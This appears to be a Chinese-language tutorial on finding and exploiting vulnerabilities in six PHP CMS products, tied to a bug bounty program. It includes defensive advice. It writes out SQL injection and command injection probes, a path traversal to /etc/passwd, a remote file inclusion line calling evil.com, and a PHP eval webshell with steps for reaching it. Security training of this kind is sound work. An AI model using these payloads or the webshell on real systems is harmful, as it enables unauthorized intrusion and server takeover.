针对4类Web Cms漏洞额外的奖励征集计划[已结束]
字数 2772 2025-08-29 08:31:47
Web CMS漏洞挖掘与利用实战教学
一、活动背景与目标
本教学文档基于先知社区"4类Web CMS漏洞额外的奖励征集计划"活动内容,旨在指导安全研究人员如何针对主流Web CMS系统进行有效的漏洞挖掘与利用。
目标CMS系统:
- Dedecms (V5.7 SP2正式版)
- WordPress 4.8.x
- 微擎 1.0
- DiscuzX (x3.4, x3.3)
- PHPCMS v9
- ECSHOP 3.6
二、漏洞类型详解
1. SQL注入漏洞
攻击原理:
- 通过构造恶意SQL语句,绕过应用程序的输入验证
- 利用未正确过滤的用户输入直接拼接SQL查询
挖掘方法:
- 寻找GET/POST参数、Cookie、HTTP头等用户可控输入点
- 测试参数是否直接用于数据库查询
- 使用单引号(')、双引号(")、反斜杠(\)等测试输入过滤
- 布尔盲注、时间盲注、报错注入等多种技术测试
2. 命令执行漏洞
攻击原理:
- 应用程序将用户输入直接传递给系统命令执行函数
- 常见危险函数:system(), exec(), passthru(), shell_exec(), eval()
挖掘方法:
- 查找调用系统命令的函数
- 测试参数是否未经充分过滤直接拼接命令
- 尝试使用命令分隔符:
;、&&、||、|、\n - 测试反引号(`)执行
3. 文件包含漏洞
攻击原理:
- 动态包含文件时未验证文件路径
- 分为本地文件包含(LFI)和远程文件包含(RFI)
挖掘方法:
- 查找include(), require(), include_once(), require_once()等函数调用
- 测试参数是否可控并用于文件包含
- 尝试包含系统文件:
/etc/passwd、C:\Windows\win.ini - 尝试使用php伪协议:
php://filter/convert.base64-encode/resource=index.php
4. 文件上传Getshell漏洞
攻击原理:
- 上传功能未充分验证文件类型、内容或扩展名
- 上传恶意脚本文件(如PHP)并执行
挖掘方法:
- 寻找所有文件上传功能点
- 测试绕过文件类型验证的方法:
- 修改Content-Type
- 添加文件头(GIF89a)
- 双扩展名(.php.jpg)
- 大小写绕过(.PhP)
- 空字节截断(%00)
- 测试解析漏洞:IIS6.0分号解析、Apache解析漏洞等
三、各CMS系统重点审计方向
1. Dedecms V5.7 SP2
历史漏洞参考:
- member/edit_fullinfo.php SQL注入
- plus/feedback.php SQL注入
- include/dedesql.class.php SQL注入
- uploads/dede/action/文件上传漏洞
审计要点:
- 会员中心功能模块
- 模板管理功能
- 采集功能模块
- 文件上传处理逻辑
2. WordPress 4.8.x
历史漏洞参考:
- REST API未授权内容修改
- 插件/主题编辑器代码执行
- 媒体库文件上传绕过
- XML-RPC API滥用
审计要点:
- REST API端点
- 自定义短代码处理
- 插件/主题更新机制
- 媒体文件处理逻辑
3. 微擎 1.0
历史漏洞参考:
- web/index.php路由解析问题
- 模块安装过程中的文件写入
- 数据库备份功能命令注入
- 缓存文件写入漏洞
审计要点:
- 模块安装/更新流程
- 系统备份恢复功能
- 路由解析逻辑
- 文件缓存机制
4. DiscuzX (x3.3/x3.4)
历史漏洞参考:
- uc_client目录跨站脚本
- 头像上传功能绕过
- 数据库备份功能命令注入
- 模板解析漏洞
审计要点:
- UCenter整合功能
- 头像上传处理逻辑
- 模板解析引擎
- 插件机制
5. PHPCMS v9
历史漏洞参考:
- phpcms/modules/content/down.php SQL注入
- phpcms/modules/search/index.php SQL注入
- phpcms/modules/wap/index.php 文件包含
- 会员中心文件上传漏洞
审计要点:
- 内容下载功能
- 搜索功能模块
- WAP模块处理逻辑
- 会员中心功能
6. ECSHOP 3.6
历史漏洞参考:
- flow.php SQL注入
- user.php SQL注入
- 后台模板管理代码执行
- 商品图片上传漏洞
审计要点:
- 购物车流程处理
- 用户注册/登录功能
- 后台模板编辑功能
- 商品管理功能
四、漏洞挖掘实战技巧
1. 代码审计方法
-
入口点定位:
- 全局搜索
$_GET、$_POST、$_REQUEST等超全局变量 - 查找包含用户输入的变量传递过程
- 全局搜索
-
危险函数追踪:
grep -rn "eval(" * grep -rn "system(" * grep -rn "include(" * grep -rn "mysql_query(" * -
数据流分析:
- 从用户输入到危险函数的完整路径追踪
- 检查中间是否有充分的过滤和验证
2. 黑盒测试技巧
-
SQL注入测试:
' AND 1=1 -- ' AND 1=2 -- ' OR '1'='1 " OR 1=1 -- -
命令注入测试:
;id |id &&id `id` $(id) -
文件包含测试:
?file=../../../../etc/passwd ?page=php://filter/convert.base64-encode/resource=index.php ?path=http://evil.com/shell.txt -
文件上传测试:
- 修改Content-Type为image/jpeg
- 添加GIF89a文件头
- 使用双扩展名:shell.php.jpg
- 尝试空字节截断:shell.php%00.jpg
五、漏洞利用与防御
1. 漏洞利用示例
案例1:Dedecms文件上传Getshell
- 寻找会员中心文件上传功能
- 上传图片马,内容为
<?php @eval($_POST['cmd']);?> - 使用文件包含漏洞包含上传的图片
- 通过中国菜刀等工具连接webshell
案例2:WordPress插件编辑器代码执行
- 获取管理员权限或利用CSRF
- 访问外观->编辑主题
- 修改主题文件插入恶意代码
- 访问任意页面触发代码执行
2. 防御建议
-
输入验证:
- 所有用户输入都应视为不可信的
- 使用白名单验证而非黑名单
-
参数化查询:
- 使用PDO或mysqli预处理语句
- 避免直接拼接SQL查询
-
文件上传安全:
- 验证文件类型和内容
- 重命名上传文件
- 存储在非web可访问目录
-
安全配置:
- 禁用危险函数:
disable_functions = exec,system,passthru... - 关闭不必要的PHP特性:
allow_url_include = Off
- 禁用危险函数:
-
权限控制:
- 最小权限原则
- 文件系统权限严格控制
六、参考资源
- 阿里云安全漏洞标准:https://help.aliyun.com/knowledge_detail/40065.html
- OWASP Top 10漏洞指南
- 各CMS官方安全公告
- CVE漏洞数据库
通过本教学文档,安全研究人员可以系统性地了解主流Web CMS系统的漏洞挖掘方法,提高漏洞发现的效率和准确性。在实际操作中,请遵守法律法规,仅在授权范围内进行安全测试。